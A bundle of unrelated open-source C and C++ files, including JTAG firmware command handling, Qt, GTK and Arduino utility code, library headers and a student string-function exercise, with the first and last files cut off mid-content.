{ NONE, PIN_MODE_NONE, false }, /*A0*/
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ NONE, PIN_MODE_NONE, false },
{ 6, PIN_MODE_NONE, false }, /*RX*/
{ 7, PIN_MODE_NONE, false }, /*TX*/
{ NONE, PIN_MODE_NONE, false }, /*BTN*/
{ 21, PIN_MODE_NONE, false }, /*RGBR*/
{ 22, PIN_MODE_NONE, false }, /*RGBG*/
{ 23, PIN_MODE_NONE, false }, /*RGBB*/
};
STM32_Pin_Info* HAL_Pin_Map() {
return PIN_MAP;
}
|
/**************************************************************************
* Copyright (C) 2008 - 2010 by Simon Qian *
* SimonQian@SimonQian.com *
* *
* Project: Versaloon *
* File: USB_TO_JTAG_LL.c *
* Author: SimonQian *
* Versaion: See changelog *
* Purpose: implementation file for USB_TO_JTAG_LL *
* License: See license *
*------------------------------------------------------------------------*
* Change Log: *
* YYYY-MM-DD: What(by Who) *
* 2008-11-07: created(by SimonQian) *
**************************************************************************/
#include "app_cfg.h"
#if USB_TO_JTAG_LL_EN
#include "USB_TO_XXX.h"
#include "app_interfaces.h"
void USB_TO_JTAG_LL_ProcessCmd(uint8_t *dat, uint16_t len)
{
uint16_t index, length;
uint8_t command, device_idx;
uint8_t para;
uint32_t cur_dat_len;
index = 0;
while(index < len)
{
command = dat[index] & USB_TO_XXX_CMDMASK;
device_idx = dat[index] & USB_TO_XXX_IDXMASK;
length = GET_LE_U16(&dat[index + 1]);
index += 3;
switch(command)
{
case USB_TO_XXX_INIT:
if (app_interfaces.jtag_ll.init(device_idx))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
}
break;
case USB_TO_XXX_CONFIG:
if (app_interfaces.jtag_ll.config(device_idx,
GET_LE_U32(&dat[index])))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
}
break;
case USB_TO_XXX_FINI:
if (app_interfaces.jtag_ll.fini(device_idx))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
}
break;
case USB_TO_JTAG_LL_SCAN:
cur_dat_len = GET_LE_U16(&dat[index]);
para = cur_dat_len >> 15;
cur_dat_len &= 0x7FFF;
if (app_interfaces.jtag_ll.scan(device_idx, &dat[index + 2 + para],
cur_dat_len * 8, para, dat[index + 2],
dat[index + 2 + cur_dat_len + para],
dat[index + 2 + cur_dat_len + para + 1]))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
memcpy(&buffer_reply[rep_len], &dat[index + 2 + para],
cur_dat_len);
}
rep_len += cur_dat_len;
break;
case USB_TO_JTAG_LL_TMS:
if (app_interfaces.jtag_ll.tms(device_idx, &dat[index], length))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
}
break;
case USB_TO_JTAG_LL_TMS_CLOCKS:
para = dat[index];
cur_dat_len = GET_LE_U32(&dat[index + 1]);
if (app_interfaces.jtag_ll.tms_clocks(device_idx, cur_dat_len,
para))
{
buffer_reply[rep_len++] = USB_TO_XXX_FAILED;
}
else
{
buffer_reply[rep_len++] = USB_TO_XXX_OK;
}
break;
default:
buffer_reply[rep_len++] = USB_TO_XXX_CMD_NOT_SUPPORT;
break;
}
index += length;
}
}
#endif
|
/******************************************************************************
* Copyright (C) 2016 Felix Rohrbach <kde@fxrh.de>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#ifndef ROOMLISTMODEL_H
#define ROOMLISTMODEL_H
#include <QtCore/QAbstractListModel>
namespace QMatrixClient
{
class Connection;
class Room;
}
class RoomListModel: public QAbstractListModel
{
Q_OBJECT
public:
RoomListModel(QObject* parent=0);
virtual ~RoomListModel();
Q_INVOKABLE void setConnection(QMatrixClient::Connection* connection);
Q_INVOKABLE QMatrixClient::Room* roomAt(int row);
QVariant data(const QModelIndex& index, int role = Qt::DisplayRole) const override;
Q_INVOKABLE int rowCount(const QModelIndex& parent=QModelIndex()) const override;
QHash<int, QByteArray> roleNames() const override;
private slots:
void namesChanged(QMatrixClient::Room* room);
void unreadMessagesChanged(QMatrixClient::Room* room);
void addRoom(QMatrixClient::Room* room);
void highlightCountChanged(QMatrixClient::Room* room);
signals:
void dataChanged(int index);
private:
QMatrixClient::Connection* m_connection;
QList<QMatrixClient::Room*> m_rooms;
void removeRoom(QMatrixClient::Room* room);
};
#endif // ROOMLISTMODEL_H
|
#if 0
int bootstrap_parent()
{
return 0;
}
void bootstrap_init(void)
{
}
#endif
void _libxpc_initializer(void)
{
}
|
/** Definition of the class Shoot
* Prefix: CSH_
* @author Ramon Molla
* @version 2011-11
*/
#ifndef CSH_SHOOT
#define CSH_SHOOT
#include "Character.h"
#include "Quadtree.h"
#include "QuadtreeRoot.h"
/**
* \typedef CSH_SHOOT_TYPE
* Different types of shoots that can be active at any moment while playing the game
*
*/
#define CSH_DEFAULT_SPEED 0.2F
typedef enum {
CSH_DEFAULT, ///<For management purpouses only
CSH_2D, ///<When the shoot is in 2D mode
CSH_PLAYER, ///<Shoot sent by the player
CSH_PLAYER3D, ///<Shoot sent by the player in 3D mode
CSH_PLAYER3D_CHEVRON, ///<Shoot sent by the player
CSH_AUXILIAR_LASER, ///<Shoot sent by the right and left laser auxiliar player ships
CSH_SHIP, ///<Shoot sent by a enemy ship. This kind of shoot has to be always after all player's shootings
CSH_SUPPLY_SHIP, ///<Shoot sent by a enemy Supply Ship. This kind of shoot has to be always after all player's shootings
CSH_CIRCLE_SHIP, ///<Shoot sent by a enemy Circle Ship. This kind of shoot has to be always after all player's shootings
CSH_BULLET, ///
CSH_MAX_SHOOTS_TYPES ///<Not a real shoot. This is for accounting purpouses only
} CSH_SHOOT_TYPE;
/**
* \class CShoot
* Supports every shoot sent by any character in the game
*/
class CShoot: public CCharacter
{
public:
//RT-DESK
double msUpdMsg;
RTDESK_TIME ticksUpdMsg; //Tiempo Mensaje RTDESK
RTDESK_CMsg *msg;
RTDESK_CMsg *msgUpd; //RTDESK Message Time
//Attributes
CSH_SHOOT_TYPE SubType;
bool visible;
//particles2 particle2[MAX_PARTICLES2];// Shoot 3D
//Methods
void Init (void);
CShoot(){Init();} ///<Constructor of the class
void SubtypeChange(CSH_SHOOT_TYPE SubType); ///<Any subtype change has to update AABB and size
///Character AI virtual methods rewritten
inline void AI_Dye (void) {QuadtreeRoot::Instance()->getQuadtree()->RemoveCharacter(this);Init();}
void AI_Explode (void);
//Physics
void Collided (CCharacter *CollidedChar);
void Render (void); ///<Shows the shoot on the screen
void Update (void);
void DiscreteUpdate (void);
///Change the way the shoot is going to be rendered on the screen
void ChangeRenderMode (CHAR_RENDER_MODE);
void ReceiveMessage(RTDESK_CMsg *pMsg);
~CShoot();
};
#endif
|
/*
* Copyright (c) 2005, Hervé Drolon, FreeImage Team
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS'
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef OPJ_INCLUDES_H
#define OPJ_INCLUDES_H
/*
==========================================================
Standard includes used by the library
==========================================================
*/
#include <memory.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <float.h>
#include <time.h>
#include <stdio.h>
#include <stdarg.h>
#include <ctype.h>
/*
==========================================================
OpenJPEG interface
==========================================================
*/
#include "openjpeg.h"
/*
==========================================================
OpenJPEG modules
==========================================================
*/
/* Ignore GCC attributes if this is not GCC */
#ifndef __GNUC__
#define __attribute__(x) /* __attribute__(x) */
#endif
/*
The inline keyword is supported by C99 but not by C90.
Most compilers implement their own version of this keyword ...
*/
#ifndef INLINE
#if defined(_MSC_VER)
#define INLINE __inline
#elif defined(__GNUC__)
#define INLINE __inline__
#elif defined(__MWERKS__)
#define INLINE inline
#else
/* add other compilers here ... */
#define INLINE
#endif /* defined(<Compiler>) */
#endif /* INLINE */
/* Are restricted pointers available? (C99) */
#if (__STDC_VERSION__ != 199901L)
/* Not a C99 compiler */
#ifdef __GNUC__
#define restrict __restrict__
#else
#define restrict /* restrict */
#endif
#endif
/* MSVC does not have lrintf */
#ifdef _MSC_VER
static INLINE long lrintf(float f){
#ifdef _M_X64
//x64 fix
return (long)((f > 0.0f) ? (f + 0.5f) : (f - 0.5f));
#else
int i;
_asm{
fld f
fistp i
};
return i;
#endif
}
#endif
#include "j2k_lib.h"
#include "opj_malloc.h"
#include "event.h"
#include "cio.h"
#include "image.h"
#include "j2k.h"
#include "jp2.h"
#include "jpt.h"
#include "mqc.h"
#include "raw.h"
#include "bio.h"
#include "tgt.h"
#include "pi.h"
#include "tcd.h"
#include "t1.h"
#include "dwt.h"
#include "t2.h"
#include "mct.h"
#include "int.h"
#include "fix.h"
/* JPWL>> */
#ifdef USE_JPWL
#include "../jpwl/jpwl.h"
#endif /* USE_JPWL */
/* <<JPWL */
#endif /* OPJ_INCLUDES_H */
|
/*
QuickLook plugin for PVR images
Copyright (C) 2008 atPurpose
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>
*/
#include <CoreFoundation/CoreFoundation.h>
#include <CoreServices/CoreServices.h>
#include <QuickLook/QuickLook.h>
#include "UncrushPvr.h"
OSStatus GenerateThumbnailForURL(void *thisInterface, QLThumbnailRequestRef thumbnail, CFURLRef url, CFStringRef contentTypeUTI, CFDictionaryRef options, CGSize maxSize)
{
if (url == NULL)
{
return -1;
}
//fprintf(stderr, "GenerateThumbnailForURL\n");
//CFShow(url);
//fprintf(stderr, "maxSize: %fx%f\n", maxSize.width, maxSize.height);
if ((maxSize.width == 200.0f) && (maxSize.height == 202.0f))
{
// hack to keep atPeek preview nice
maxSize.height = 200.0f;
}
//fprintf(stderr, "maxSize: %fx%f\n", maxSize.width, maxSize.height);
//CFShow(options);
Boolean opaque = false;
if (CFDictionaryGetValue(options, CFSTR("opaque")) != NULL)
{
opaque = CFBooleanGetValue(CFDictionaryGetValue(options, CFSTR("opaque")));
}
CGImageRef imageRef = GetPvrImage(url, contentTypeUTI);
if (imageRef != NULL)
{
CGRect imageRect = CGRectMake(0, 0, CGImageGetWidth(imageRef), CGImageGetHeight(imageRef));
float ratio = imageRect.size.width / imageRect.size.height;
//fprintf(stderr, "imageSize: %dx%d, ratio: %f\n", (int)CGImageGetWidth(imageRef), (int)CGImageGetHeight(imageRef), ratio);
if ((imageRect.size.width > maxSize.width) || (imageRect.size.height > maxSize.height))
{
if (imageRect.size.width > imageRect.size.height)
{
imageRect.size.width = maxSize.width;
imageRect.size.height = maxSize.height/ratio;
}
else
{
imageRect.size.width = maxSize.width*ratio;
imageRect.size.height = maxSize.height;
}
}
imageRect.origin.x = (int)(((maxSize.width - imageRect.size.width) / 2.0) + 0.5);
imageRect.origin.y = (int)(((maxSize.height - imageRect.size.height) / 2.0) + 0.5);
//fprintf(stderr, "imageRect: %f,%f %fx%f\n", imageRect.origin.x , imageRect.origin.y, imageRect.size.width, imageRect.size.height);
CGContextRef cgContext = QLThumbnailRequestCreateContext(thumbnail, maxSize, TRUE, NULL);
if (cgContext != NULL)
{
CGContextSaveGState(cgContext);
{
if (opaque == 1)
{
CGRect contextRect = CGRectMake(0, 0, maxSize.width, maxSize.height);
CGContextSetRGBFillColor(cgContext, 0.57, 0.57, 0.57, 1);
CGContextFillRect(cgContext, contextRect);
}
CGContextDrawImage(cgContext, imageRect, imageRef);
}
CGContextRestoreGState(cgContext);
QLThumbnailRequestFlushContext(thumbnail, cgContext);
CFRelease(cgContext);
}
CFRelease(imageRef);
}
return noErr;
}
void CancelThumbnailGeneration(void* thisInterface, QLThumbnailRequestRef thumbnail)
{
// implement only if supported
}
|
/*
* OpenSplice DDS
*
* This software and documentation are Copyright 2006 to 2013 PrismTech
* Limited and its licensees. All rights reserved. See file:
*
* $OSPL_HOME/LICENSE
*
* for full copyright notice and license terms.
*
*/
#ifndef GAPI_GENERICCOPYBUFFER_H
#define GAPI_GENERICCOPYBUFFER_H
#include "gapi.h"
#include "gapi_genericCopyCache.h"
typedef struct {
gapi_unsigned_long _maximum;
gapi_unsigned_long _length;
void *_buffer;
gapi_boolean _release;
} gapiSequenceType;
#define GAPI_SEQUENCE_CORRECTION (2 * sizeof(gapi_unsigned_long) + sizeof(void*))
void
gapi_genericCopyBufferFreeType (
gapiCopyHeader *ch,
void *ptr);
gapi_boolean
gapi_genericCopyBufferFree (
void *buffer);
void *
gapi_genericCopyBufferAlloc (
gapi_copyCache copyCache,
gapiCopyHeader *copyRoutine,
gapi_unsigned_long size,
gapi_unsigned_long count);
void *
gapi_genericCopyBufferAllocSeqBuffer (
gapi_copyCache copyCache,
gapiCopyHeader *copyRoutine,
gapi_unsigned_long size,
gapi_unsigned_long count);
#endif /* GAPI_GENERICCOPYBUFFER_H */
|
#ifndef _cleanup_h
#define _cleanup_h
int cleanup();
#endif
|
#ifndef MESSAGEPROCESSOR_H
#define MESSAGEPROCESSOR_H
#include <interfaces/ipluginmanager.h>
#include <interfaces/imessageprocessor.h>
#include <interfaces/ixmppstreammanager.h>
#include <interfaces/istanzaprocessor.h>
#include <interfaces/iservicediscovery.h>
#include <interfaces/inotifications.h>
class MessageProcessor :
public QObject,
public IPlugin,
public IMessageProcessor,
public IMessageWriter,
public IStanzaHandler
{
Q_OBJECT
Q_INTERFACES(IPlugin IMessageProcessor IMessageWriter IStanzaHandler)
#if QT_VERSION >= 0x050000
Q_PLUGIN_METADATA(IID "org.jrudevels.vacuum.IMessageProcessor")
#endif
public:
MessageProcessor();
~MessageProcessor();
//IPlugin
virtual QObject *instance() { return this; }
virtual QUuid pluginUuid() const { return MESSAGEPROCESSOR_UUID; }
virtual void pluginInfo(IPluginInfo *APluginInfo);
virtual bool initConnections(IPluginManager *APluginManager, int &AInitOrder);
virtual bool initObjects();
virtual bool initSettings() { return true; }
virtual bool startPlugin() { return true; }
//IStanzaHandler
virtual bool stanzaReadWrite(int AHandlerId, const Jid &AStreamJid, Stanza &AStanza, bool &AAccept);
//IMessageWriter
virtual bool writeMessageHasText(int AOrder, Message &AMessage, const QString &ALang);
virtual bool writeMessageToText(int AOrder, Message &AMessage, QTextDocument *ADocument, const QString &ALang);
virtual bool writeTextToMessage(int AOrder, QTextDocument *ADocument, Message &AMessage, const QString &ALang);
//IMessageProcessor
virtual QList<Jid> activeStreams() const;
virtual bool isActiveStream(const Jid &AStreamJid) const;
virtual void appendActiveStream(const Jid &AStreamJid);
virtual void removeActiveStream(const Jid &AStreamJid);
// Message Processing
virtual bool sendMessage(const Jid &AStreamJid, Message &AMessage, int ADirection);
virtual bool processMessage(const Jid &AStreamJid, Message &AMessage, int ADirection);
virtual bool displayMessage(const Jid &AStreamJid, Message &AMessage, int ADirection);
// Message Notification
virtual QList<int> notifiedMessages() const;
virtual Message notifiedMessage(int AMesssageId) const;
virtual int notifyByMessage(int AMessageId) const;
virtual int messageByNotify(int ANotifyId) const;
virtual void showNotifiedMessage(int AMessageId);
virtual void removeMessageNotify(int AMessageId);
// Message Conversion
virtual bool messageHasText(const Message &AMessage, const QString &ALang=QString::null) const;
virtual bool messageToText(const Message &AMessage, QTextDocument *ADocument, const QString &ALang=QString::null) const;
virtual bool textToMessage(const QTextDocument *ADocument, Message &AMessage, const QString &ALang=QString::null) const;
// Message Windows
virtual IMessageWindow *getMessageWindow(const Jid &AStreamJid, const Jid &AContactJid, Message::MessageType AType, int AAction) const;
// Message Handlers
virtual QMultiMap<int, IMessageHandler *> messageHandlers() const;
virtual void insertMessageHandler(int AOrder, IMessageHandler *AHandler);
virtual void removeMessageHandler(int AOrder, IMessageHandler *AHandler);
virtual QMultiMap<int, IMessageWriter *> messageWriters() const;
virtual void insertMessageWriter(int AOrder, IMessageWriter *AWriter);
virtual void removeMessageWriter(int AOrder, IMessageWriter *AWriter);
virtual QMultiMap<int, IMessageEditor *> messageEditors() const;
virtual void insertMessageEditor(int AOrder, IMessageEditor *AEditor);
virtual void removeMessageEditor(int AOrder, IMessageEditor *AEditor);
signals:
void messageSent(const Message &AMessage);
void messageReceived(const Message &AMessage);
void messageNotifyInserted(int AMessageId);
void messageNotifyRemoved(int AMessageid);
void activeStreamAppended(const Jid &AStreamJid);
void activeStreamRemoved(const Jid &AStreamJid);
protected:
int newMessageId();
IMessageHandler *findMessageHandler(const Message &AMessage, int ADirection);
void notifyMessage(IMessageHandler *AHandler, const Message &AMessage, int ADirection);
QString convertTextToBody(const QString &AString) const;
QDomDocument convertBodyToHtml(const QString &AString, bool AMonospaced) const;
protected slots:
void onNotificationActivated(int ANotifyId);
void onNotificationRemoved(int ANotifyId);
void onXmppStreamActiveChanged(IXmppStream *AXmppStream, bool AActive);
void onXmppStreamJidChanged(IXmppStream *AXmppStream, const Jid &ABefore);
private:
IServiceDiscovery *FDiscovery;
INotifications *FNotifications;
IStanzaProcessor *FStanzaProcessor;
IXmppStreamManager *FXmppStreamManager;
private:
QMap<int, int> FNotifyId2MessageId;
QMap<int, Message> FNotifiedMessages;
private:
QMap<Jid, int> FActiveStreams;
QMap<int, IMessageHandler *> FHandlerForMessage;
QMultiMap<int, IMessageHandler *> FMessageHandlers;
QMultiMap<int, IMessageWriter *> FMessageWriters;
QMultiMap<int, IMessageEditor *> FMessageEditors;
};
#endif // MESSAGEPROCESSOR_H
|
// Copyright (c) Athena Dev Teams - Licensed under GNU GPL
// For more information, see LICENCE in the main folder
#ifndef _MAP_DATE_H_
#define _MAP_DATE_H_
int date_get_year(void);
int date_get_month(void);
int date_get_day(void);
int date_get_hour(void);
int date_get_min(void);
int date_get_sec(void);
bool is_day_of_sun(void);
bool is_day_of_moon(void);
bool is_day_of_star(void);
#endif /* _MAP_DATE_H_ */
|
#ifndef _POL_FIBHEAP_H
#define _POL_FIBHEAP_H 1
namespace polaris
{
template<typename _Tp>
class fib_heap_node
{
public:
typedef _Tp key_type;
typedef _Tp value_type;
typedef fib_heap_node<_Tp> node_type;
private:
key_type _M_key;
node_type* _M_parent;
// std::list<node_type*>* _M_child;
node_type* _M_child;
node_type* _M_prev;
node_type* _M_next;
unsigned _M_degree : 31;
bool _M_mark : 1;
public:
fib_heap_node();
fib_heap_node(key_type&& __key);
~fib_heap_node() noexcept;
void insert(node_type* __node);
void insert(key_type&& __key);
template<typename _FIter>
void insert(_FIter __first, _FIter __last);
private:
void _M_construct();
void _M_destroy() noexcept;
};
template<typename _Tp>
class fib_heap
{
public:
typedef _Tp value_type;
typedef fib_heap_node<_Tp> node_type;
private:
unsigned _M_number;
unsigned _M_degree;
node_type* _M_root;
node_type** _M_degmem;
public:
fib_heap();
~fib_heap() noexcept;
void insert(node_type* __node);
};
}
#endif
|
/* mail-util.c
*
* Copyright (C) 2010 Christian Hergert <chris@dronelabs.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "mail-actions.h"
#include "mail-util.h"
/**
* mail_util_load_ui:
* @widget: (in): A #GtkWidget.
* @actions: (out) (allow-none): A location for a #GtkActionGroup or %NULL.
* @ui_data: (in): A string containing the UI definition.
* @first_widget: (in): name of first widget to retrieve.
*
* Loads UI using GtkUIManager and extracts given widgets from the
* GtkUIManager. Actions are loaded using ppg_actions_load() prior to
* loading @ui_data.
*
* Returns: None.
* Side effects: None.
*/
void
mail_util_load_ui (GtkWidget *widget,
GtkActionGroup **actions,
const gchar *ui_data,
const gchar *first_widget,
...)
{
GtkUIManager *ui_manager;
GtkActionGroup *action_group;
const gchar *name;
GtkWidget **dst_widget;
GtkAccelGroup *accel_group;
GError *error = NULL;
GType type;
va_list args;
g_return_if_fail(GTK_IS_WIDGET(widget));
g_return_if_fail(ui_data != NULL);
g_return_if_fail(first_widget != NULL);
ui_manager = gtk_ui_manager_new();
if (!gtk_ui_manager_add_ui_from_string(ui_manager, ui_data, -1, &error)) {
g_error("%s", error->message); /* Fatal */
}
type = G_TYPE_FROM_INSTANCE(widget);
accel_group = gtk_ui_manager_get_accel_group(ui_manager);
action_group = gtk_action_group_new(g_type_name(type));
mail_actions_load(widget, accel_group, action_group);
gtk_ui_manager_insert_action_group(ui_manager, action_group, 0);
name = first_widget;
va_start(args, first_widget);
do {
dst_widget = va_arg(args, GtkWidget**);
*dst_widget = gtk_ui_manager_get_widget(ui_manager, name);
} while ((name = va_arg(args, const gchar*)));
if (actions) {
*actions = action_group;
}
}
|
#ifndef UTILS_H_
#define UTILS_H_
#include "fixedMath.h"
#include "Arduino.h"
/** @defgroup util Mozzi utility functions
*/
/** @ingroup util
Set digital pin 13 to output for testing timing with an oscilloscope.*/
#define SET_PIN13_OUT (DDRB = DDRB | B00100000)
/** @ingroup util
Set pin 13 high for testing timing with an oscilloscope.*/
#define SET_PIN13_HIGH (PORTB = PORTB | B00100000)
/** @ingroup util
Set pin 13 low for testing timing with an oscilloscope.*/
#define SET_PIN13_LOW (PORTB = B00000000)
// macros for setting and clearing register bits
#ifndef cbi
#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit))
#endif
#ifndef sbi
#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit))
#endif
float mtof(float x);
Q16n16 Q16n16_mtof(Q16n16 midival);
unsigned char randomMidi();
void randSeed(unsigned long seed);
void xorshiftSeed(unsigned long seed);
unsigned long xorshift96();
char rand(char minval, char maxval);
unsigned char rand(unsigned char minval, unsigned char maxval);
int rand( int minval, int maxval);
unsigned int rand(unsigned int minval, unsigned int maxval);
char rand(char maxval);
unsigned char rand(unsigned char maxval);
int rand(int maxval);
unsigned int rand(unsigned int maxval);
// hack for Teensy 2 (32u4), pasted from hardware/arduino/variants/leonardo/pins_arduino.h
#if defined(__AVR_ATmega32U4__)
// __AVR_ATmega32U4__ has an unusual mapping of pins to channels
extern const uint8_t PROGMEM analog_pin_to_channel_PGM[];
#define analogPinToChannel(P) ( pgm_read_byte( analog_pin_to_channel_PGM + (P) ) )
#endif
void setupFastAnalogRead();
void startAnalogRead(unsigned char pin);
int receiveAnalogRead();
#endif /* UTILS_H_ */
|
#include "pmpi_wrap.h"
PMPI_WRAP2(MPI_Error_class, int, int *)
|
/* stringops.c
* Date : 26 August 2015
* Author: Ankit Pati
*/
#include <stdio.h>
#include <string.h>
/* manual string functions */
int str_len(char s[])
{
int len=0;
while(s[len]) ++len;
return len;
}
int str_cmp(char s1[], char s2[])
{
int i=0, j=0;
while(s1[i] && s2[j] && s1[i]==s2[j]) ++i, ++j;
return s1[i]-s2[j];
}
void str_cat(char s1[], char s2[])
{
int i=0, j=0;
while(s1[i]) ++i;
while((s1[i++]=s2[j++]));
}
void str_cpy(char des[], char src[])
{
int i=0, j=0;
while((des[i++]=src[j++]));
}
/* end of manual string functions */
int main()
{
char s1[80], s2[80];
int ch, len1, len2;
do{
puts("What would you like to do?");
puts(" ( 0) Exit");
puts(" ( 1) Accept Strings\n");
puts("Library Functions");
puts(" ( 2) String Length");
puts(" ( 3) String Compare");
puts(" ( 4) String Concatenate");
puts(" ( 5) String Copy\n");
puts("Manually");
puts(" ( 6) String Length");
puts(" ( 7) String Compare");
puts(" ( 8) String Concatenate");
puts(" ( 9) String Copy");
scanf(" %d%*c", &ch);
switch(ch){
case 0:
puts("Bye!");
break;
case 1:
puts("Enter two strings:");
fgets(s1, 80, stdin); /* to avoid the unsafe gets() function */
s1[strlen(s1)-1]='\0'; /* to avoid a quirk of fgets() */
fgets(s2, 80, stdin);
s2[strlen(s2)-1]='\0';
break;
/* Library Functions */
case 2:
len1=strlen(s1);
len2=strlen(s2);
printf("String 1: %d\nString 2: %d\n", len1, len2);
break;
case 3:
if(!strcmp(s1, s2)) puts("Strings are equal.");
else puts("Strings not equal.");
break;
case 4:
strcat(s1, s2);
printf("Concatenated String: %s\n", s1);
break;
case 5:
strcpy(s1, s2);
printf("String 1: %s\nString 2: %s\n", s1, s2);
break;
/* end of Library Functions */
/* Manually */
case 6:
printf("String 1: %d\nString 2: %d\n", str_len(s1), str_len(s2));
break;
case 7:
if(!str_cmp(s1, s2)) puts("Strings are equal.");
else puts("Strings not equal.");
break;
case 8:
str_cat(s1, s2);
printf("Concatenated String: %s\n", s1);
break;
case 9:
str_cpy(s1, s2);
printf("String 1: %s\nString 2: %s\n", s1, s2);
break;
/* end of Manually */
default:
puts("Incorrect Choice!");
break;
}
putchar('\n');
} while(ch);
return 0;
}
/* end of stringops.c */
/* OUTPUT
What would you like to do?
( 0) Exit
( 1) Accept Strings
Library Functions
( 2) String Length
( 3) String Compare
( 4) String Concatenate
( 5) String Copy
Manually
( 6) String Length
( 7) String Compare
( 8) String Concatenate
( 9) String Copy
1
Enter two strings:
hello
world
2
String 1: 5
String 2: 5
3
Strings not equal.
4
Concatenated String: helloworld
5
String 1: world
String 2: world
1
Enter two strings:
lorem
lorem
6
String 1: 5
String 2: 5
7
Strings are equal.
8
Concatenated String: loremlorem
9
String 1: lorem
String 2: lorem
0
Bye!
*/
|
/*
* ConvUtil.h
*
* Created on: Feb 21, 2010
* Author: cinc
*/
#ifndef CONVUTIL_H_
#define CONVUTIL_H_
#include <string>
using namespace std;
class ConvUtil {
public:
/**
* 'C' -> 2
*/
static int charToIntIndex(char c);
/**
* 2 -> 'C'
*/
static char intIndexToChar(int index);
/**
* 'BC' -> 1*27+2=29
*/
static int pairCharToIntIndex(char c[2]);
/**
* 29=1*27+2 -> 'BC'
*/
static void intIndexToPairChar(int index, char c[2]);
/**
* 'BC' -> 1*26+2=28
*/
static int pairAlphabetToIntIndex(char c[2]);
/**
* 28=1*26+2 -> 'BC'
*/
static void intIndexToPairAlphabet(int index, char c[2]);
/**
* convert input string to upper cases
*/
static string convertToUpperCase(string input);
};
#endif /* CONVUTIL_H_ */
|
/******************************************************************************
** Copyright (c) 2006-2018, Calaos. All Rights Reserved.
**
** This file is part of Calaos.
**
** Calaos is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 3 of the License, or
** (at your option) any later version.
**
** Calaos is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with Foobar; if not, write to the Free Software
** Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
**
******************************************************************************/
#ifndef S_SQDB_H
#define S_SQDB_H
#include "Calaos.h"
#include "AudioPlayer.h"
#include "AudioDB.h"
namespace Calaos
{
class Squeezebox;
class SqueezeboxDB: public AudioDB
{
private:
Squeezebox *player;
void getAlbums_cb(bool status, string request, string result, AudioPlayerData data);
void getAlbumsTitles_cb(bool status, string request, string result, AudioPlayerData data);
void getArtists_cb(bool status, string request, string result, AudioPlayerData data);
void getArtistsAlbums_cb(bool status, string request, string result, AudioPlayerData data);
void getGenres_cb(bool status, string request, string result, AudioPlayerData data);
void getGenresArtists_cb(bool status, string request, string result, AudioPlayerData data);
